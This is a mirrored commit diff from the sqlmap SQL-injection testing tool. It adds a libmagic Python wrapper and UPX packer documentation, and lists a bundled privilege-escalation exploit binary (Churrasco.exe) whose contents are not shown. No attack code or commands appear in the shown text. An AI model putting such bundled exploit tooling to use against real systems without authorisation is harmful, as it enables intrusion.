mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2026-08-04 14:55:40 +00:00
Updated to sqlmap 0.7 release candidate 1
This commit is contained in:
parent
b997df740a
commit
8c0ac767f4
129 changed files with 8386 additions and 1388 deletions
|
|
@ -5,8 +5,8 @@ $Id$
|
|||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
|
|
|||
|
|
@ -5,8 +5,8 @@ $Id$
|
|||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
|
|
|||
203
lib/contrib/magic.py
Normal file
203
lib/contrib/magic.py
Normal file
|
|
@ -0,0 +1,203 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id$
|
||||
|
||||
Adam Hupp <adam@hupp.org>
|
||||
|
||||
Reference: http://hupp.org/adam/hg/python-magic
|
||||
|
||||
License: PSF (http://www.python.org/psf/license/)
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import os.path
|
||||
import ctypes
|
||||
import ctypes.util
|
||||
|
||||
from ctypes import c_char_p, c_int, c_size_t, c_void_p
|
||||
|
||||
class MagicException(Exception): pass
|
||||
|
||||
class Magic:
|
||||
"""
|
||||
Magic is a wrapper around the libmagic C library.
|
||||
|
||||
"""
|
||||
|
||||
def __init__(self, mime=False, magic_file=None):
|
||||
"""
|
||||
Create a new libmagic wrapper.
|
||||
|
||||
mime - if True, mimetypes are returned instead of textual descriptions
|
||||
magic_file - use a mime database other than the system default
|
||||
|
||||
"""
|
||||
flags = MAGIC_NONE
|
||||
if mime:
|
||||
flags |= MAGIC_MIME
|
||||
|
||||
self.cookie = magic_open(flags)
|
||||
|
||||
magic_load(self.cookie, magic_file)
|
||||
|
||||
|
||||
def from_buffer(self, buf):
|
||||
"""
|
||||
Identify the contents of `buf`
|
||||
"""
|
||||
return magic_buffer(self.cookie, buf)
|
||||
|
||||
def from_file(self, filename):
|
||||
"""
|
||||
Identify the contents of file `filename`
|
||||
raises IOError if the file does not exist
|
||||
"""
|
||||
|
||||
if not os.path.exists(filename):
|
||||
raise IOError("File does not exist: " + filename)
|
||||
|
||||
return magic_file(self.cookie, filename)
|
||||
|
||||
def __del__(self):
|
||||
try:
|
||||
magic_close(self.cookie)
|
||||
except Exception, e:
|
||||
print "got thig: ", e
|
||||
|
||||
|
||||
_magic_mime = None
|
||||
_magic = None
|
||||
|
||||
def _get_magic_mime():
|
||||
global _magic_mime
|
||||
if not _magic_mime:
|
||||
_magic_mime = Magic(mime=True)
|
||||
return _magic_mime
|
||||
|
||||
def _get_magic():
|
||||
global _magic
|
||||
if not _magic:
|
||||
_magic = Magic()
|
||||
return _magic
|
||||
|
||||
def _get_magic_type(mime):
|
||||
if mime:
|
||||
return _get_magic_mime()
|
||||
else:
|
||||
return _get_magic()
|
||||
|
||||
def from_file(filename, mime=False):
|
||||
m = _get_magic_type(mime)
|
||||
return m.from_file(filename)
|
||||
|
||||
def from_buffer(buffer, mime=False):
|
||||
m = _get_magic_type(mime)
|
||||
return m.from_buffer(buffer)
|
||||
|
||||
|
||||
|
||||
|
||||
libmagic = ctypes.CDLL(ctypes.util.find_library('magic'))
|
||||
|
||||
magic_t = ctypes.c_void_p
|
||||
|
||||
def errorcheck(result, func, args):
|
||||
err = magic_error(args[0])
|
||||
if err is not None:
|
||||
raise MagicException(err)
|
||||
else:
|
||||
return result
|
||||
|
||||
magic_open = libmagic.magic_open
|
||||
magic_open.restype = magic_t
|
||||
magic_open.argtypes = [c_int]
|
||||
|
||||
magic_close = libmagic.magic_close
|
||||
magic_close.restype = None
|
||||
magic_close.argtypes = [magic_t]
|
||||
magic_close.errcheck = errorcheck
|
||||
|
||||
magic_error = libmagic.magic_error
|
||||
magic_error.restype = c_char_p
|
||||
magic_error.argtypes = [magic_t]
|
||||
|
||||
magic_errno = libmagic.magic_errno
|
||||
magic_errno.restype = c_int
|
||||
magic_errno.argtypes = [magic_t]
|
||||
|
||||
magic_file = libmagic.magic_file
|
||||
magic_file.restype = c_char_p
|
||||
magic_file.argtypes = [magic_t, c_char_p]
|
||||
magic_file.errcheck = errorcheck
|
||||
|
||||
|
||||
_magic_buffer = libmagic.magic_buffer
|
||||
_magic_buffer.restype = c_char_p
|
||||
_magic_buffer.argtypes = [magic_t, c_void_p, c_size_t]
|
||||
_magic_buffer.errcheck = errorcheck
|
||||
|
||||
|
||||
def magic_buffer(cookie, buf):
|
||||
return _magic_buffer(cookie, buf, len(buf))
|
||||
|
||||
|
||||
magic_load = libmagic.magic_load
|
||||
magic_load.restype = c_int
|
||||
magic_load.argtypes = [magic_t, c_char_p]
|
||||
magic_load.errcheck = errorcheck
|
||||
|
||||
magic_setflags = libmagic.magic_setflags
|
||||
magic_setflags.restype = c_int
|
||||
magic_setflags.argtypes = [magic_t, c_int]
|
||||
|
||||
magic_check = libmagic.magic_check
|
||||
magic_check.restype = c_int
|
||||
magic_check.argtypes = [magic_t, c_char_p]
|
||||
|
||||
magic_compile = libmagic.magic_compile
|
||||
magic_compile.restype = c_int
|
||||
magic_compile.argtypes = [magic_t, c_char_p]
|
||||
|
||||
|
||||
|
||||
MAGIC_NONE = 0x000000 # No flags
|
||||
|
||||
MAGIC_DEBUG = 0x000001 # Turn on debugging
|
||||
|
||||
MAGIC_SYMLINK = 0x000002 # Follow symlinks
|
||||
|
||||
MAGIC_COMPRESS = 0x000004 # Check inside compressed files
|
||||
|
||||
MAGIC_DEVICES = 0x000008 # Look at the contents of devices
|
||||
|
||||
MAGIC_MIME = 0x000010 # Return a mime string
|
||||
|
||||
MAGIC_CONTINUE = 0x000020 # Return all matches
|
||||
|
||||
MAGIC_CHECK = 0x000040 # Print warnings to stderr
|
||||
|
||||
MAGIC_PRESERVE_ATIME = 0x000080 # Restore access time on exit
|
||||
|
||||
MAGIC_RAW = 0x000100 # Don't translate unprintable chars
|
||||
|
||||
MAGIC_ERROR = 0x000200 # Handle ENOENT etc as real errors
|
||||
|
||||
MAGIC_NO_CHECK_COMPRESS = 0x001000 # Don't check for compressed files
|
||||
|
||||
MAGIC_NO_CHECK_TAR = 0x002000 # Don't check for tar files
|
||||
|
||||
MAGIC_NO_CHECK_SOFT = 0x004000 # Don't check magic entries
|
||||
|
||||
MAGIC_NO_CHECK_APPTYPE = 0x008000 # Don't check application type
|
||||
|
||||
MAGIC_NO_CHECK_ELF = 0x010000 # Don't check for elf details
|
||||
|
||||
MAGIC_NO_CHECK_ASCII = 0x020000 # Don't check for ascii files
|
||||
|
||||
MAGIC_NO_CHECK_TROFF = 0x040000 # Don't check ascii/troff
|
||||
|
||||
MAGIC_NO_CHECK_FORTRAN = 0x080000 # Don't check ascii/fortran
|
||||
|
||||
MAGIC_NO_CHECK_TOKENS = 0x100000 # Don't check ascii/tokens
|
||||
BIN
lib/contrib/tokenkidnapping/Churrasco.exe
Executable file
BIN
lib/contrib/tokenkidnapping/Churrasco.exe
Executable file
Binary file not shown.
138
lib/contrib/upx/doc/LICENSE
Normal file
138
lib/contrib/upx/doc/LICENSE
Normal file
|
|
@ -0,0 +1,138 @@
|
|||
-----BEGIN PGP SIGNED MESSAGE-----
|
||||
|
||||
|
||||
ooooo ooo ooooooooo. ooooooo ooooo
|
||||
`888' `8' `888 `Y88. `8888 d8'
|
||||
888 8 888 .d88' Y888..8P
|
||||
888 8 888ooo88P' `8888'
|
||||
888 8 888 .8PY888.
|
||||
`88. .8' 888 d8' `888b
|
||||
`YbodP' o888o o888o o88888o
|
||||
|
||||
|
||||
The Ultimate Packer for eXecutables
|
||||
Copyright (c) 1996-2000 Markus Oberhumer & Laszlo Molnar
|
||||
http://wildsau.idv.uni-linz.ac.at/mfx/upx.html
|
||||
http://www.nexus.hu/upx
|
||||
http://upx.tsx.org
|
||||
|
||||
|
||||
PLEASE CAREFULLY READ THIS LICENSE AGREEMENT, ESPECIALLY IF YOU PLAN
|
||||
TO MODIFY THE UPX SOURCE CODE OR USE A MODIFIED UPX VERSION.
|
||||
|
||||
|
||||
ABSTRACT
|
||||
========
|
||||
|
||||
UPX and UCL are copyrighted software distributed under the terms
|
||||
of the GNU General Public License (hereinafter the "GPL").
|
||||
|
||||
The stub which is imbedded in each UPX compressed program is part
|
||||
of UPX and UCL, and contains code that is under our copyright. The
|
||||
terms of the GNU General Public License still apply as compressing
|
||||
a program is a special form of linking with our stub.
|
||||
|
||||
As a special exception we grant the free usage of UPX for all
|
||||
executables, including commercial programs.
|
||||
See below for details and restrictions.
|
||||
|
||||
|
||||
COPYRIGHT
|
||||
=========
|
||||
|
||||
UPX and UCL are copyrighted software. All rights remain with the authors.
|
||||
|
||||
UPX is Copyright (C) 1996-2000 Markus Franz Xaver Johannes Oberhumer
|
||||
UPX is Copyright (C) 1996-2000 Laszlo Molnar
|
||||
|
||||
UCL is Copyright (C) 1996-2000 Markus Franz Xaver Johannes Oberhumer
|
||||
|
||||
|
||||
GNU GENERAL PUBLIC LICENSE
|
||||
==========================
|
||||
|
||||
UPX and the UCL library are free software; you can redistribute them
|
||||
and/or modify them under the terms of the GNU General Public License as
|
||||
published by the Free Software Foundation; either version 2 of
|
||||
the License, or (at your option) any later version.
|
||||
|
||||
UPX and UCL are distributed in the hope that they will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program; see the file COPYING.
|
||||
|
||||
|
||||
SPECIAL EXCEPTION FOR COMPRESSED EXECUTABLES
|
||||
============================================
|
||||
|
||||
The stub which is imbedded in each UPX compressed program is part
|
||||
of UPX and UCL, and contains code that is under our copyright. The
|
||||
terms of the GNU General Public License still apply as compressing
|
||||
a program is a special form of linking with our stub.
|
||||
|
||||
Hereby Markus F.X.J. Oberhumer and Laszlo Molnar grant you special
|
||||
permission to freely use and distribute all UPX compressed programs
|
||||
(including commercial ones), subject to the following restrictions:
|
||||
|
||||
1. You must compress your program with a completely unmodified UPX
|
||||
version; either with our precompiled version, or (at your option)
|
||||
with a self compiled version of the unmodified UPX sources as
|
||||
distributed by us.
|
||||
2. This also implies that the UPX stub must be completely unmodfied, i.e.
|
||||
the stub imbedded in your compressed program must be byte-identical
|
||||
to the stub that is produced by the official unmodified UPX version.
|
||||
3. The decompressor and any other code from the stub must exclusively get
|
||||
used by the unmodified UPX stub for decompressing your program at
|
||||
program startup. No portion of the stub may get read, copied,
|
||||
called or otherwise get used or accessed by your program.
|
||||
|
||||
|
||||
ANNOTATIONS
|
||||
===========
|
||||
|
||||
- You can use a modified UPX version or modified UPX stub only for
|
||||
programs that are compatible with the GNU General Public License.
|
||||
|
||||
- We grant you special permission to freely use and distribute all UPX
|
||||
compressed programs. But any modification of the UPX stub (such as,
|
||||
but not limited to, removing our copyright string or making your
|
||||
program non-decompressible) will immediately revoke your right to
|
||||
use and distribute a UPX compressed program.
|
||||
|
||||
- UPX is not a software protection tool; by requiring that you use
|
||||
the unmodified UPX version for your proprietary programs we
|
||||
make sure that any user can decompress your program. This protects
|
||||
both you and your users as nobody can hide malicious code -
|
||||
any program that cannot be decompressed is highly suspicious
|
||||
by definition.
|
||||
|
||||
- You can integrate all or part of UPX and UCL into projects that
|
||||
are compatible with the GNU GPL, but obviously you cannot grant
|
||||
any special exceptions beyond the GPL for our code in your project.
|
||||
|
||||
- We want to actively support manufacturers of virus scanners and
|
||||
similar security software. Please contact us if you would like to
|
||||
incorporate parts of UPX or UCL into such a product.
|
||||
|
||||
|
||||
|
||||
Markus F.X.J. Oberhumer Laszlo Molnar
|
||||
markus.oberhumer@jk.uni-linz.ac.at ml1050@cdata.tvnet.hu
|
||||
|
||||
Linz, Austria, 25 Feb 2000
|
||||
|
||||
|
||||
|
||||
-----BEGIN PGP SIGNATURE-----
|
||||
Version: 2.6.3ia
|
||||
Charset: noconv
|
||||
|
||||
iQCVAwUBOLaLS210fyLu8beJAQFYVAP/ShzENWKLTvedLCjZbDcwaBEHfUVcrGMI
|
||||
wE7frMkbWT2zmkdv9hW90WmjMhOBu7yhUplvN8BKOtLiolEnZmLCYu8AGCwr5wBf
|
||||
dfLoClxnzfTtgQv5axF1awp4RwCUH3hf4cDrOVqmAsWXKPHtm4hx96jF6L4oHhjx
|
||||
OO03+ojZdO8=
|
||||
=CS52
|
||||
-----END PGP SIGNATURE-----
|
||||
142
lib/contrib/upx/doc/README
Normal file
142
lib/contrib/upx/doc/README
Normal file
|
|
@ -0,0 +1,142 @@
|
|||
ooooo ooo ooooooooo. ooooooo ooooo
|
||||
`888' `8' `888 `Y88. `8888 d8'
|
||||
888 8 888 .d88' Y888..8P
|
||||
888 8 888ooo88P' `8888'
|
||||
888 8 888 .8PY888.
|
||||
`88. .8' 888 d8' `888b
|
||||
`YbodP' o888o o888o o88888o
|
||||
|
||||
|
||||
The Ultimate Packer for eXecutables
|
||||
Copyright (c) 1996-2008 Markus Oberhumer, Laszlo Molnar & John Reiser
|
||||
http://upx.sourceforge.net
|
||||
|
||||
|
||||
|
||||
WELCOME
|
||||
=======
|
||||
|
||||
Welcome to UPX !
|
||||
|
||||
Please don't forget to read the file LICENSE - UPX is distributed
|
||||
under the GNU General Public License (GPL) with special exceptions
|
||||
allowing the distribution of all compressed executables, including
|
||||
commercial programs.
|
||||
|
||||
|
||||
INTRODUCTION
|
||||
============
|
||||
|
||||
UPX is an advanced executable file compressor. UPX will typically
|
||||
reduce the file size of programs and DLLs by around 50%-70%, thus
|
||||
reducing disk space, network load times, download times and
|
||||
other distribution and storage costs.
|
||||
|
||||
Programs and libraries compressed by UPX are completely self-contained
|
||||
and run exactly as before, with no runtime or memory penalty for most
|
||||
of the supported formats.
|
||||
|
||||
UPX supports a number of different executable formats, including
|
||||
Windows 95/98/ME/NT/2000/XP/CE programs and DLLs, DOS programs,
|
||||
and Linux executables and kernels.
|
||||
|
||||
UPX is free software distributed under the term of the GNU General
|
||||
Public License. Full source code is available.
|
||||
|
||||
UPX may be distributed and used freely, even with commercial applications.
|
||||
See the UPX License Agreement for details.
|
||||
|
||||
UPX is rated number one in the well known Archive Comparison Test. Visit
|
||||
http://compression.ca/ .
|
||||
|
||||
UPX aims to be Commercial Quality Freeware.
|
||||
|
||||
|
||||
SHORT DOCUMENTATION
|
||||
===================
|
||||
|
||||
'upx program.exe' will compress a program or DLL. For best compression
|
||||
results try 'upx --brute program.exe'.
|
||||
|
||||
Please see the file UPX.DOC for the full documentation. The files
|
||||
NEWS and BUGS also contain various tidbits of information.
|
||||
|
||||
|
||||
DISCLAIMER
|
||||
==========
|
||||
|
||||
UPX comes with ABSOLUTELY NO WARRANTY; for details see the file LICENSE.
|
||||
|
||||
Having said that, we think that UPX is quite stable now. Indeed we
|
||||
have compressed lots of files without any problems. Also, the
|
||||
current version has undergone several months of beta testing -
|
||||
actually it's almost 8 years since our first public beta.
|
||||
|
||||
This is the first production quality release, and we plan that future
|
||||
releases will be backward compatible with this version.
|
||||
|
||||
Please report all problems or suggestions to the authors. Thanks.
|
||||
|
||||
|
||||
THE FUTURE
|
||||
==========
|
||||
|
||||
- We'd really love to support handheld systems like the PalmPilot because
|
||||
compression makes a lot of sense here. And - because of the atari/tos
|
||||
format - we already have a working decompressor in 68000 assembly.
|
||||
Unfortunately we know next to nothing about the operating system
|
||||
architecture of such handhelds, so we need some information from
|
||||
an expert. Please contact us if you think you can help.
|
||||
|
||||
- The Linux approach could probably get ported to a lot of other Unix
|
||||
variants, at least for other i386 architectures it shouldn't be too
|
||||
much work. If someone sends me a fresh hard disk and an official
|
||||
FreeBSD/OpenBSD/NetBSD/Solaris/BeOS... CD I might take a look at it ;-)
|
||||
|
||||
- We will *NOT* add any sort of protection and/or encryption.
|
||||
This only gives people a false feeling of security because
|
||||
by definition all protectors/compressors can be broken.
|
||||
And don't trust any advertisement of authors of other executable
|
||||
compressors about this topic - just do a websearch on "unpackers"...
|
||||
|
||||
- Fix all remaining bugs - keep your reports coming ;-)
|
||||
|
||||
- See the file PROJECTS in the source code distribution if you want
|
||||
to contribute.
|
||||
|
||||
|
||||
COPYRIGHT
|
||||
=========
|
||||
|
||||
Copyright (C) 1996-2008 Markus Franz Xaver Johannes Oberhumer
|
||||
Copyright (C) 1996-2008 Laszlo Molnar
|
||||
Copyright (C) 2000-2008 John F. Reiser
|
||||
|
||||
This program may be used freely, and you are welcome to
|
||||
redistribute it under certain conditions.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
UPX License Agreement for more details.
|
||||
|
||||
You should have received a copy of the UPX License Agreement along
|
||||
with this program; see the file LICENSE. If not, visit the UPX home page.
|
||||
|
||||
|
||||
Share and enjoy,
|
||||
Markus & Laszlo
|
||||
|
||||
|
||||
Markus F.X.J. Oberhumer Laszlo Molnar
|
||||
<markus@oberhumer.com> <ml1050@users.sourceforge.net>
|
||||
|
||||
|
||||
|
||||
[ The term UPX is a shorthand for the Ultimate Packer for eXecutables
|
||||
and holds no connection with potential owners of registered trademarks
|
||||
or other rights. ]
|
||||
|
||||
[ Feel free to contact us if you have commercial compression requirements
|
||||
or interesting job offers. ]
|
||||
|
||||
888
lib/contrib/upx/doc/upx.html
Normal file
888
lib/contrib/upx/doc/upx.html
Normal file
|
|
@ -0,0 +1,888 @@
|
|||
<?xml version="1.0" ?>
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
|
||||
<html xmlns="http://www.w3.org/1999/xhtml">
|
||||
<head>
|
||||
<title>upx - compress or expand executable files</title>
|
||||
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
|
||||
<link rev="made" href="mailto:root@localhost" />
|
||||
</head>
|
||||
|
||||
<body style="background-color: white">
|
||||
|
||||
<p><a name="__index__"></a></p>
|
||||
<!-- INDEX BEGIN -->
|
||||
<!--
|
||||
|
||||
<ul>
|
||||
|
||||
<li><a href="#name">NAME</a></li>
|
||||
<li><a href="#synopsis">SYNOPSIS</a></li>
|
||||
<li><a href="#abstract">ABSTRACT</a></li>
|
||||
<li><a href="#disclaimer">DISCLAIMER</a></li>
|
||||
<li><a href="#description">DESCRIPTION</a></li>
|
||||
<li><a href="#commands">COMMANDS</a></li>
|
||||
<ul>
|
||||
|
||||
<li><a href="#compress">Compress</a></li>
|
||||
<li><a href="#decompress">Decompress</a></li>
|
||||
<li><a href="#test">Test</a></li>
|
||||
<li><a href="#list">List</a></li>
|
||||
</ul>
|
||||
|
||||
<li><a href="#options">OPTIONS</a></li>
|
||||
<li><a href="#compression_levels___tuning">COMPRESSION LEVELS & TUNING</a></li>
|
||||
<li><a href="#overlay_handling_options">OVERLAY HANDLING OPTIONS</a></li>
|
||||
<li><a href="#environment">ENVIRONMENT</a></li>
|
||||
<li><a href="#notes_for_the_supported_executable_formats">NOTES FOR THE SUPPORTED EXECUTABLE FORMATS</a></li>
|
||||
<ul>
|
||||
|
||||
<li><a href="#notes_for_atari_tos">NOTES FOR ATARI/TOS</a></li>
|
||||
<li><a href="#notes_for_bvmlinuz_i386">NOTES FOR BVMLINUZ/I386</a></li>
|
||||
<li><a href="#notes_for_dos_com">NOTES FOR DOS/COM</a></li>
|
||||
<li><a href="#notes_for_dos_exe">NOTES FOR DOS/EXE</a></li>
|
||||
<li><a href="#notes_for_dos_sys">NOTES FOR DOS/SYS</a></li>
|
||||
<li><a href="#notes_for_djgpp2_coff">NOTES FOR DJGPP2/COFF</a></li>
|
||||
<li><a href="#notes_for_linux__general_">NOTES FOR LINUX [general]</a></li>
|
||||
<li><a href="#notes_for_linux_elf386">NOTES FOR LINUX/ELF386</a></li>
|
||||
<li><a href="#notes_for_linux_sh386">NOTES FOR LINUX/SH386</a></li>
|
||||
<li><a href="#notes_for_linux_386">NOTES FOR LINUX/386</a></li>
|
||||
<li><a href="#notes_for_ps1_exe">NOTES FOR PS1/EXE</a></li>
|
||||
<li><a href="#notes_for_rtm32_pe_and_arm_pe">NOTES FOR RTM32/PE and ARM/PE</a></li>
|
||||
<li><a href="#notes_for_tmt_adam">NOTES FOR TMT/ADAM</a></li>
|
||||
<li><a href="#notes_for_vmlinuz_386">NOTES FOR VMLINUZ/386</a></li>
|
||||
<li><a href="#notes_for_watcom_le">NOTES FOR WATCOM/LE</a></li>
|
||||
<li><a href="#notes_for_win32_pe">NOTES FOR WIN32/PE</a></li>
|
||||
</ul>
|
||||
|
||||
<li><a href="#diagnostics">DIAGNOSTICS</a></li>
|
||||
<li><a href="#bugs">BUGS</a></li>
|
||||
<li><a href="#authors">AUTHORS</a></li>
|
||||
<li><a href="#copyright">COPYRIGHT</a></li>
|
||||
</ul>
|
||||
-->
|
||||
<!-- INDEX END -->
|
||||
|
||||
<p>
|
||||
</p>
|
||||
<h1><a name="name">NAME</a></h1>
|
||||
<p>upx - compress or expand executable files</p>
|
||||
<p>
|
||||
</p>
|
||||
<hr />
|
||||
<h1><a name="synopsis">SYNOPSIS</a></h1>
|
||||
<p><strong>upx</strong> [ <em>command</em> ] [ <em>options</em> ] <em>filename</em>...</p>
|
||||
<p>
|
||||
</p>
|
||||
<hr />
|
||||
<h1><a name="abstract">ABSTRACT</a></h1>
|
||||
<pre>
|
||||
The Ultimate Packer for eXecutables
|
||||
Copyright (c) 1996-2008 Markus Oberhumer, Laszlo Molnar & John Reiser
|
||||
<a href="http://upx.sourceforge.net">http://upx.sourceforge.net</a></pre>
|
||||
<p><strong>UPX</strong> is a portable, extendable, high-performance executable packer for
|
||||
several different executable formats. It achieves an excellent compression
|
||||
ratio and offers <em>*very*</em> fast decompression. Your executables suffer
|
||||
no memory overhead or other drawbacks for most of the formats supported,
|
||||
because of in-place decompression.</p>
|
||||
<p>While you may use <strong>UPX</strong> freely for both non-commercial and commercial
|
||||
executables (for details see the file LICENSE), we would highly
|
||||
appreciate if you credit <strong>UPX</strong> and ourselves in the documentation,
|
||||
possibly including a reference to the <strong>UPX</strong> home page. Thanks.</p>
|
||||
<p>[ Using <strong>UPX</strong> in non-OpenSource applications without proper credits
|
||||
is considered not politically correct ;-) ]</p>
|
||||
<p>
|
||||
</p>
|
||||
<hr />
|
||||
<h1><a name="disclaimer">DISCLAIMER</a></h1>
|
||||
<p><strong>UPX</strong> comes with ABSOLUTELY NO WARRANTY; for details see the file LICENSE.</p>
|
||||
<p>This is the first production quality release, and we plan that future 1.xx
|
||||
releases will be backward compatible with this version.</p>
|
||||
<p>Please report all problems or suggestions to the authors. Thanks.</p>
|
||||
<p>
|
||||
</p>
|
||||
<hr />
|
||||
<h1><a name="description">DESCRIPTION</a></h1>
|
||||
<p><strong>UPX</strong> is a versatile executable packer with the following features:</p>
|
||||
<pre>
|
||||
- excellent compression ratio: compresses better than zip/gzip,
|
||||
use UPX to decrease the size of your distribution !</pre>
|
||||
<pre>
|
||||
- very fast decompression: about 10 MiB/sec on an ancient Pentium 133,
|
||||
about 200 MiB/sec on an Athlon XP 2000+.</pre>
|
||||
<pre>
|
||||
- no memory overhead for your compressed executables for most of the
|
||||
supported formats</pre>
|
||||
<pre>
|
||||
- safe: you can list, test and unpack your executables
|
||||
Also, a checksum of both the compressed and uncompressed file is
|
||||
maintained internally.</pre>
|
||||
<pre>
|
||||
- universal: UPX can pack a number of executable formats:
|
||||
* atari/tos
|
||||
* bvmlinuz/386 [bootable Linux kernel]
|
||||
* djgpp2/coff
|
||||
* dos/com
|
||||
* dos/exe
|
||||
* dos/sys
|
||||
* linux/386
|
||||
* linux/elf386
|
||||
* linux/sh386
|
||||
* ps1/exe
|
||||
* rtm32/pe
|
||||
* tmt/adam
|
||||
* vmlinuz/386 [bootable Linux kernel]
|
||||
* vmlinux/386
|
||||
* watcom/le (supporting DOS4G, PMODE/W, DOS32a and CauseWay)
|
||||
* win32/pe (exe and dll)
|
||||
* arm/pe (exe and dll)
|
||||
* linux/elfamd64
|
||||
* linux/elfppc32
|
||||
* mach/elfppc32</pre>
|
||||
<pre>
|
||||
- portable: UPX is written in portable endian-neutral C++</pre>
|
||||
<pre>
|
||||
- extendable: because of the class layout it's very easy to support
|
||||
new executable formats or add new compression algorithms</pre>
|
||||
<pre>
|
||||
- free: UPX can be distributed and used freely. And from version 0.99
|
||||
the full source code of UPX is released under the GNU General Public
|
||||
License (GPL) !</pre>
|
||||
<p>You probably understand now why we call <strong>UPX</strong> the ``<em>ultimate</em>''
|
||||
executable packer.</p>
|
||||
<p>
|
||||
</p>
|
||||
<hr />
|
||||
<h1><a name="commands">COMMANDS</a></h1>
|
||||
<p>
|
||||
</p>
|
||||
<h2><a name="compress">Compress</a></h2>
|
||||
<p>This is the default operation, eg. <strong>upx yourfile.exe</strong> will compress the file
|
||||
specified on the command line.</p>
|
||||
<p>
|
||||
</p>
|
||||
<h2><a name="decompress">Decompress</a></h2>
|
||||
<p>All <strong>UPX</strong> supported file formats can be unpacked using the <strong>-d</strong> switch, eg.
|
||||
<strong>upx -d yourfile.exe</strong> will uncompress the file you've just compressed.</p>
|
||||
<p>
|
||||
</p>
|
||||
<h2><a name="test">Test</a></h2>
|
||||
<p>The <strong>-t</strong> command tests the integrity of the compressed and uncompressed
|
||||
data, eg. <strong>upx -t yourfile.exe</strong> check whether your file can be safely
|
||||
decompressed. Note, that this command doesn't check the whole file, only
|
||||
the part that will be uncompressed during program execution. This means
|
||||
that you should not use this command instead of a virus checker.</p>
|
||||
<p>
|
||||
</p>
|
||||
<h2><a name="list">List</a></h2>
|
||||
<p>The <strong>-l</strong> command prints out some information about the compressed files
|
||||
specified on the command line as parameters, eg <strong>upx -l yourfile.exe</strong>
|
||||
shows the compressed / uncompressed size and the compression ratio of
|
||||
<em>yourfile.exe</em>.</p>
|
||||
<p>
|
||||
</p>
|
||||
<hr />
|
||||
<h1><a name="options">OPTIONS</a></h1>
|
||||
<p><strong>-q</strong>: be quiet, suppress warnings</p>
|
||||
<p><strong>-q -q</strong> (or <strong>-qq</strong>): be very quiet, suppress errors</p>
|
||||
<p><strong>-q -q -q</strong> (or <strong>-qqq</strong>): produce no output at all</p>
|
||||
<p><strong>--help</strong>: prints the help</p>
|
||||
<p><strong>--version</strong>: print the version of <strong>UPX</strong></p>
|
||||
<p><strong>--exact</strong>: when compressing, require to be able to get a byte-identical file
|
||||
after decompression with option <strong>-d</strong>. [NOTE: this is work in progress and is
|
||||
not supported for all formats yet. If you do care, as a workaround you can
|
||||
compress and then decompress your program a first time - any further
|
||||
compress-decompress steps should then yield byte-identical results
|
||||
as compared to the first decompressed version.]</p>
|
||||
<p>[ ...to be written... - type `<strong>upx --help</strong>' for now ]</p>
|
||||
<p>
|
||||
</p>
|
||||
<hr />
|
||||
<h1><a name="compression_levels___tuning">COMPRESSION LEVELS & TUNING</a></h1>
|
||||
<p><strong>UPX</strong> offers ten different compression levels from <strong>-1</strong> to <strong>-9</strong>,
|
||||
and <strong>--best</strong>. The default compression level is <strong>-8</strong> for files
|
||||
smaller than 512 KiB, and <strong>-7</strong> otherwise.</p>
|
||||
<ul>
|
||||
<li>
|
||||
<p>Compression levels 1, 2 and 3 are pretty fast.</p>
|
||||
</li>
|
||||
<li>
|
||||
<p>Compression levels 4, 5 and 6 achieve a good time/ratio performance.</p>
|
||||
</li>
|
||||
<li>
|
||||
<p>Compression levels 7, 8 and 9 favor compression ratio over speed.</p>
|
||||
</li>
|
||||
<li>
|
||||
<p>Compression level <strong>--best</strong> may take a long time.</p>
|
||||
</li>
|
||||
</ul>
|
||||
<p>Note that compression level <strong>--best</strong> can be somewhat slow for large
|
||||
files, but you definitely should use it when releasing a final version
|
||||
of your program.</p>
|
||||
<p>Quick info for achieving the best compression ratio:</p>
|
||||
<ul>
|
||||
<li>
|
||||
<p>Try <strong>upx --brute myfile.exe</strong> or even <strong>upx --ultra-brute myfile.exe</strong>.</p>
|
||||
</li>
|
||||
<li>
|
||||
<p>Try if <strong>--overlay=strip</strong> works.</p>
|
||||
</li>
|
||||
<li>
|
||||
<p>For win32/pe programs there's <strong>--strip-relocs=0</strong>. See notes below.</p>
|
||||
</li>
|
||||
</ul>
|
||||
<p>
|
||||
</p>
|
||||
<hr />
|
||||
<h1><a name="overlay_handling_options">OVERLAY HANDLING OPTIONS</a></h1>
|
||||
<p>Info: An ``overlay'' means auxiliary data attached after the logical end of
|
||||
an executable, and it often contains application specific data
|
||||
(this is a common practice to avoid an extra data file, though
|
||||
it would be better to use resource sections).</p>
|
||||
<p><strong>UPX</strong> handles overlays like many other executable packers do: it simply
|
||||
copies the overlay after the compressed image. This works with some
|
||||
files, but doesn't work with others, depending on how an application
|
||||
actually accesses this overlayed data.</p>
|
||||
<pre>
|
